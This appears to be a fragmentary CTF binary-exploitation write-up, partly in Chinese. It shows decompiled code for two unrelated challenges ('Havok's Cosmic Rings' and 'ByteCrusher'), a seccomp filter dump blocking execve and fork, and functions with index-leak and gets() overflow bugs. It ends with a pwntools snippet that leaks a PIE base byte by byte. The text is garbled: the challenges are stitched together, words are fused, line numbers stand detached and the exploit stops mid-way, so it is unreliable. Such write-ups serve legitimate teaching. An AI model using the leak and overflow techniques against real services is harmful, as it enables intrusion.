lVar1 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); puts("====================================================="); puts(" H A V O K \' S C O S M I C R I N G S"); puts("====================================================="); puts(" Alex Summers channels the cosmic spectrum through"); puts(" four concentric plasma rings. Calibrate them."); puts(" Break them. Claim what lies beyond.\n"); setup_seccomp(); puts("[*] Ring calibration pass 1 of 2:"); calibrate_rings(); puts("\n[*] Ring calibration pass 2 of 2:"); calibrate_rings(); read_plasma_signature(); inject_plasma(); puts(&DAT_001023f8); if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return0; }
ban掉了execve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
===================================================== H A V O K ' S C O S M I C R I N G S ===================================================== Alex Summers channels the cosmic spectrum through four concentric plasma rings. Calibrate them. Break them. Claim what lies beyond.
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003 0002: 0x06 0x00 0x00 0x00000000 return KILL 0003: 0x20 0x00 0x00 0x00000000 A = sys_number 0004: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0008 0005: 0x15 0x02 0x00 0x00000142 if (A == execveat) goto 0008 0006: 0x15 0x01 0x00 0x00000039 if (A == fork) goto 0008 0007: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
{ long lVar1; short sVar2; int iVar3; size_t sVar4; long in_FS_OFFSET; short index; int i; int raw; anon_struct_48_3_decdb330 frame; char idx_buf [32]; char label [128];
lVar1 = *(long *)(in_FS_OFFSET + 0x28); frame.libc_anchor = (longlong)puts; frame.pie_anchor = (longlong)main; frame.ring_data[0] = -0x3f0011ffffffffff; frame.ring_data[1] = -0x3f0011fffffffffe; frame.ring_data[2] = -0x3f0011fffffffffd; frame.ring_data[3] = -0x3f0011fffffffffc; puts("[RING 1] Cosmic Ring Calibration Interface"); puts(&DAT_00102040); memset(idx_buf,0,0x20); read(0,idx_buf,0x1f); sVar4 = strcspn(idx_buf,"\n"); idx_buf[sVar4] = '\0'; iVar3 = atoi(idx_buf); if (iVar3 < 0) { puts("[!] Negative indices are not permitted."); } else { sVar2 = (short)iVar3; if (sVar2 < 4) { printf("[*] Ring-%d energy: 0x%016llx\n",(ulong)(uint)(int)sVar2,frame.ring_data[(int)sVar2]); } else { puts("[!] Index out of calibration range."); } puts(" Provide a label for this ring reading:"); memset(label,0,0x80); read(0,label,0x7f); sVar4 = strcspn(label,"\n"); label[sVar4] = '\0'; for (i = 0; label[i] != '\0'; i = i + 1) { if (label[i] == '%') { label[i] = '_'; } } printf("[LOG] %s\n",label); } if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
{ setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); puts("Welcome to ByteCrusher, dicegang\'s new proprietary text crusher!"); puts("We are happy to offer sixteen free trials of our premium service."); free_trial(); get_feedback(); puts("\nThank you for trying ByteCrusher! We hope you enjoyed it."); return0; }
{ long in_FS_OFFSET; int local_68; uint local_64; int local_60; int local_5c; char local_58 [32]; char local_38 [40]; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); local_60 = 0; do { if (0xf < local_60) { if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; } printf("Trial %d/16:\n",(ulong)(local_60 + 1)); puts("Enter a string to crush:"); fgets(local_58,0x20,stdin); puts("Enter crush rate:"); __isoc99_scanf(&DAT_00102078,&local_68); if (local_68 < 1) { puts("Invalid crush rate, using default of 1."); local_68 = 1; } puts("Enter output length:"); __isoc99_scanf(&DAT_00102078,&local_64); if (0x20 < local_64) { puts("Output length too large, using max size."); local_64 = 0x20; } do { local_5c = getchar(); if (local_5c == 10) break; } while (local_5c != -1); crush_string(local_58,local_38,local_68,local_64); puts("Crushed string:"); puts(local_38); local_60 = local_60 + 1; } while( true ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
voidget_feedback(void)
{ long in_FS_OFFSET; char local_28 [24]; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Enter some text:"); gets(local_28); puts("Your feedback has been recorded and totally not thrown away."); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
# 泄漏 pie base log.info('Leaking PIE base...') ret_bytes = bytearray(8) for k inrange(6): ret_bytes[k] = leak_byte(RET_OFFSET + k) ret_addr = u64(bytes(ret_bytes)) log.success(f'Ret addr: {hex(ret_addr)}')